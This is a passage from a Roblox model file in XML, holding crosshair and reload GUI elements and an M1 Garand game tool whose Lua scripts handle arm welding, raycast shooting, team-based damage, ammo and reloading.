						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX4910">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4911">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4912">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX4913">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4914">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4915">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4916">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4917">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4918">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.25</X>
					<Y>-0.25</Y>
					<Z>0.699999988</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">M1Garand</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079966</url></Content>
				<string name="ToolTip">M1 Garand</string>
			</Properties>
			<Item class="Part" referent="RBX4919">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-17.6000004</X>
						<Y>-68.5999985</Y>
						<Z>19.8999996</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>4.80000019</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4920">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=94287666</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.70000005</X>
							<Y>1.70000005</Y>
							<Z>1.5</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4921">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.08149207</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=94125590</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4922">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=94153793</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4923">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4924">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4925">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4926">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4927">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4928">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">M1Garand</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 40
-- How many times per second the gun can fire
local FireRate = 1 / 4
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.002
-- In radian the maximum accuracy penalty
local MaxSpread = 0.02
-- Number of bullets in a clip
local ClipSize = 8
-- DefaultValue for spare ammo
local SpareAmmo = 80
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.04
-- Time it takes to reload weapon
local ReloadTime = 3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
